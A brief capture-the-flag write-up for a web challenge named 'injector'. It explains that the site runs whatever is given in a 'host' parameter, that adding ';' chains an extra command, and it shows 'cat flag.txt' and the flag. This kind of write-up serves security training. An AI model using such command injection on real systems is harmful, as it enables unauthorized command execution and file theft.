injector
*  
web  
cyberedu
Try harder!!
First look:
The website takes anything given to host parameter and executes it.
Adding ; allows execution of any other command.
cat flag.txt
CTF{C0mm4nd_1nj3c5i0n_1s_E4sy}